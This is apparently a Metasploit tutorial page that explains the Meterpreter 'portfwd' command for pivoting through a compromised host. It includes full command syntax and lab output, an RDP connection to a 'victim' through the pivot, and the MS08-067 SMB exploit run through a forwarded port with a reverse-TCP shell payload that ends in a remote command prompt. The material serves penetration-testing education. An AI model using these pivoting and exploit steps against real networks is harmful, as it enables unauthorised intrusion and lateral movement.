Portfwd a11y.text Portfwd The portfwd command from within the Meterpreter shell is most commonly used as a pivoting technique, allowing direct access to machines otherwise inaccessible from the attacking system. Running this command on a compromised host with access to both the attacker and destination network (or system), we can essentially forward TCP connections through this machine, effectively making it a pivot point. Much like the port forwarding technique used with an ssh connection, portfwd will relay TCP connections to and from the connected machines. Help a11y.text Help From an active Meterpreter session, typing portfwd â€“h will display the commandâ€™s various options and arguments. Figure 1 Help Banner Options a11y.text Options -L: Use to specify the listening host. Unless you need the forwarding to occur on a specific network adapter you can omit this option. If none is entered 0.0.0.0 will be used. -h: Displays the above information. -l: This is a local port which will listen on the attacking machine. Connections to this port will be forwarded to the remote system. -p: The port to which TCP connections will be forward to. -r: The IP address the connections are relayed to (target). Arguments a11y.text Arguments Add: This argument is used to create the forwarding. Delete: This will delete a previous entry from our list of forwarded ports. List: This will list all ports currently forwarded. Flush: This will delete all ports from our forwarding list. Syntax a11y.text Syntax Add a11y.text Add From the Meterpreter shell, the command is used in the following manner: meterpreter > portfwd add â€“l 3389 â€“p 3389 â€“r [target host] add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session. -l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as itâ€™s not already being used. -p 3389 is the destination port on our targeting host. -r [target host] is the our targeted systemâ€™s IP or hostname.

```
meterpreter > portfwd add â€“l 3389 â€“p 3389 â€“r 172.16.194.191
[*] Local TCP relay created: 0.0.0.0:3389 >-> 172.16.194.191:3389
meterpreter >
```

Figure 2 Adding a port Delete a11y.text Delete Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:

meterpreter > portfwd delete â€“l 3389 â€“p 3389 â€“r [target host] meterpreter > portfwd delete â€“l 3389 â€“p 3389 â€“r 172.16.194.191

[*] Successfully stopped TCP relay on 0.0.0.0:3389

meterpreter > Figure 3 Deleting a port LIST:

This argument needs no options and provides us with a list of currently listening and forwarded ports. meterpreter > portfwd list meterpreter > portfwd list

0: 0.0.0.0:3389 -> 172.16.194.191:3389

1: 0.0.0.0:1337 -> 172.16.194.191:1337

2: 0.0.0.0:2222 -> 172.16.194.191:2222

3 total local port forwards.

meterpreter > Figure 4 List command FLUSH:

This argument will allow us to remove all the local port forward at once. meterpreter > portfwd flush

meterpreter > portfwd flush

[*] Successfully stopped TCP relay on 0.0.0.0:3389

[*] Successfully stopped TCP relay on 0.0.0.0:1337

[*] Successfully stopped TCP relay on 0.0.0.0:2222

[*] Successfully flushed 3 rules

meterpreter > portfwd list

0 total local port forwards

meterpreter > Figure 5 Flush command Example Usage: In this example, we will open a port on our local machine and have our Meterpreter session forward a connection to our victim on that same port. Weâ€™ll be using port 3389, which is the Windows default port for Remote Desktop connections. Here are the players involved: C:\> ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 3:

Connection-specific DNS Suffix . : localdomain

IP Address. 172.16.194.141

Subnet Mask. 255.255.255.0

Default Gateway. 172.16.194.2

C:\> Figure 6 Victim machine meterpreter > ipconfig

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address : 127.0.0.1

Netmask : 255.0.0.0

VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport

Hardware MAC: 00:aa:00:aa:00:aa

IP Address : 172.16.194.144

Netmask : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport

Hardware MAC: 00:bb:00:bb:00:bb

IP Address : 192.168.1.191

Netmask : 255.0.0.0 Figure 7 Our Pivot machine root@kali : ~ # ifconfig eth1 eth1 Link encap:Ethernet HWaddr 0a:0b:0c:0d:0e:0f

inet addr:192.168.1.162 Bcast:192.168.1.255 Mask:255.255.255.0

inet6 addr: fe80::20c:29ff:fed6:ab38/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1357685 errors:0 dropped:0 overruns:0 frame:0

TX packets:823428 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:318385612 (303.6 MiB) TX bytes:133752114 (127.5 MiB)

Interrupt:19 Base address:0x2000 root@kali : ~ # ping 172.16 .194.141 PING 172.16.194.141 (172.16.194.141) 56(84) bytes of data.

64 bytes from 172.16.194.141: icmp_req=1 ttl=128 time=240 ms

64 bytes from 172.16.194.141: icmp_req=2 ttl=128 time=117 ms

64 bytes from 172.16.194.141: icmp_req=3 ttl=128 time=119 ms

^C

--- 172.16.194.141 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2003ms

rtt min/avg/max/mdev = 117.759/159.378/240.587/57.430 ms

root@kali:~# Figure 8 Attackerâ€™s machine First we setup the port forwarding on our pivot using the following command: meterpreter > portfwd add â€“l 3389 â€“p 3389 â€“r 172.16.194.141 We verify that port 3389 is listening by issuing the netstat command from another terminal. root@kali : ~ # netstat -antp Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 8397/sshd

.....

tcp 0 0 0.0.0.0:3389 0.0.0.0:* LISTEN 2045/.ruby.bin

.....

tcp6 0 0 :::22 :::* LISTEN 8397/sshd

root@kali:~# Figure 9 Local machineâ€™s listening ports We can see 0.0.0.0 is listening on port 3389 as well as the connection to our pivot machine on port 4444. From here, we can initiate a remote desktop connection to our local 3389 port. Which will be forwarded to our victim machine on the corresponding port. Figure 10 Remote Desktop connection using local port Another example of portfwd usage is using it to forward exploit modules such as MS08-067.

Using the same technique as show previously, itâ€™s just a matter of forwarding the correct ports for the

desired exploit. Here we forwarded port 445, which is the port associated with Windows Server Message Block (SMB).

Configuring our module target host and port to our forwarded socket. The exploit is sent via our pivot to the victim machine. msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOST	127.0.0.1	yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (accepted: seh, thread, process, none)
LHOST	192.168.1.162	yes	The listen address
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.162:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown

[*] We could not detect the language pack, defaulting to English

[*] Selected Target: Windows 2003 SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.1.159

[-] Exploit exception: Stream # is closed.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> Figure 11 MS08-067 via Pivot Next TimeStomp Prev Pivoting